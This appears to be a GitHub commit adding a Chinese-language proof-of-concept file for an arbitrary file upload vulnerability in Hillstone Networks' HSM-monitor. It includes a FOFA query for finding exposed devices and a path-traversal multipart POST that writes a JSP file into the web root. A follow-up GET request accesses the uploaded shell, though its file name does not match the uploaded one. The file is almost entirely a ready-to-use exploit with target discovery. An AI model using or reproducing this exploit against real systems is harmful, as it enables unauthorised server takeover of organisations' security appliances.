Create 山石网科HSM-monitor存在任意文件上传

This commit is contained in:
Rainyseason authored and GitHub committed 2025-09-01 15:59:01 +08:00
1 parent 5682d0e5a4
commit 9f80d4a99e
1 file changed
+31
@@ -0,0 +1,31 @@
# 山石网科HSM-monitor存在任意文件上传
山石网科存在任意文件上传漏洞,可以获取服务器权限
## fofa
```javascript
body="login_hsm-all.css"
```
## poc
```javascript
POST /ft//stoneos/monitor?sn=1&fileName=../../../../hsmprogram/service/application/WebDaemon/errors/2.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
<% out.println("202cb962ac59075b964b07152d234b70");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryABC123--
```
文件上传访问shll地址
```javascript
GET /errors/2111.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
```